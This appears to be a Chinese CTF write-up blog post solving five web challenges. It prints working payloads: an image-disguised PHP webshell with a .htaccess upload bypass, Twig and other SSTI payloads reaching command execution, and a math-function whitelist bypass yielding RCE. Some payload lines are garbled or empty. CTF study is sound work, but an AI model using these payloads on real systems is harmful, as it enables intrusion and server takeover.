[BJDCTF2020]The mystery of ip
打开之后查看一下Hint,在源码里看到提示
抓包,在flag.php中添加X-Forwarded-For头
发现IP可控,那就基本上是注入题了,常见的SQL注入试了一遍之后,发现没什么用,考虑模板注入
1 | 输入:{7*7} |
可以确定是SSTI注入了
payload1
"cat /flag")} -Forwarded-For:
得到flag
[GXYCTF2019]BabyUpload
打开是个上传,随便上传一个图片和PHP试试
上传PHP得到后缀名不能有ph!
所以可以确定ph是被ban掉了
和之前做过的题一样,试试图片马
上传.htaccess文件 类型改成image/jpeg
接着上传图片马
要注意的是由于头不能为ph开头,所以用script来代替1
2GIF89a
<script language="php">eval($_POST['attack']);</script>
得到路径访问一下,没问题用蚁剑连接
根目录得到flag
[CISCN 2019 初赛]Love Math
打开代码审计,ban掉了很多东西,设置了个白名单,基本都是数学函数,限制了长度不能超过80
搜一下白名单里没见过的函数
知识点
1 | base_convert() 函数在任意进制之间转换数字 base_convert(number,frombase,tobase); |
测试
有一个函数hex2bin,可以将16进制数转换为ascii,但是由于不在白名单内,所以要转换一下
由于只能使用数字,所以10进制是个选择,接着36进制可以包含数字和字符,所以将hex2bin进行转换1
base_convert(37907361743,10,36) =>hex2bin
接着就是构建16进制数的_GET了1
2dechex(1598506324) =>5f474554
hex2bin("5f474554") => _GET
利用PHP的特性,构造payload
$$pi解析为$_GET,{}代替了[],从而实现了rce
1 | ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag |
得到flag
[BJDCTF2020]Cookie is so stable
打开之后,查看Hint,并在Flag试一下模板注入
1 | {{7*'7'}} 回显7777777 ==> Jinja2 |
还是模板注入的问题
https://zhuanlan.zhihu.com/p/28823933
参考这篇文章
payload1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
得到flag
[NCTF2019]Fake XML cookbook
打开之后,查看一下源码,发现是XML,考虑XXE
参考一下
https://www.freebuf.com/vuls/175451.html
构造一下外部实体攻击
1 |
|
得到flag